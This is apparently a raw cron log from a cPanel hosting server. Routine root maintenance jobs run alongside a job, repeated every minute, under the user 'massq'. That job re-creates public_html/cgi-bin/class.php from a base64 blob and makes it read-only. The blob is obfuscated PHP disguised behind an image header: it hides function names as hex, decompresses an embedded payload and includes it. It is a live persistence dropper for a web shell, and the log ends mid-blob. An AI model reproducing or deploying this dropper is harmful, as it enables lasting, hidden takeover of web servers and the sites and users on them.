Sep  9 23:50:01 server CROND[6551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:50:01 server CROND[6553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:50:01 server CROND[6552]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 23:50:01 server CROND[6556]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:50:01 server CROND[6555]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 23:50:01 server CROND[6558]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 23:50:01 server CROND[6554]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 23:51:01 server CROND[7477]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:51:01 server CROND[7479]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:51:01 server CROND[7478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:52:01 server CROND[7851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:52:01 server CROND[7852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:52:01 server CROND[7853]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:53:01 server CROND[8218]: (root) CMD (/usr/lib64/sa/sa2 -A)
Sep  9 23:53:01 server CROND[8219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:53:01 server CROND[8220]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:53:01 server CROND[8221]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:54:01 server CROND[8642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:54:01 server CROND[8643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:54:01 server CROND[8644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:55:01 server CROND[9012]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:55:01 server CROND[9013]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 23:55:01 server CROND[9022]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 23:55:01 server CROND[9020]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 23:55:01 server CROND[9023]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 23:55:01 server CROND[9024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:55:01 server CROND[9021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:56:01 server CROND[10131]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:56:01 server CROND[10132]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:56:01 server CROND[10133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:57:01 server CROND[10529]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:57:01 server CROND[10530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:57:01 server CROND[10531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:57:01 server CROND[10534]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 23:58:01 server CROND[10897]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:58:01 server CROND[10898]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:58:01 server CROND[10899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:59:01 server CROND[11263]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:59:01 server CROND[11264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:59:01 server CROND[11265]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:00:01 server CROND[11772]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 00:00:01 server CROND[11773]: (root) CMD (/usr/sbin/csf --lfd restart > /dev/null 2>&1)
Sep 10 00:00:01 server CROND[11778]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 00:00:01 server CROND[11790]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 10 00:00:01 server CROND[11792]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 00:00:02 server CROND[11795]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 00:00:02 server CROND[11794]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:00:02 server CROND[11791]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 10 00:00:02 server CROND[11797]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 00:00:02 server CROND[11793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:00:02 server CROND[11799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:01:01 server CROND[12703]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:01:01 server CROND[12704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:01:01 server CROND[12705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b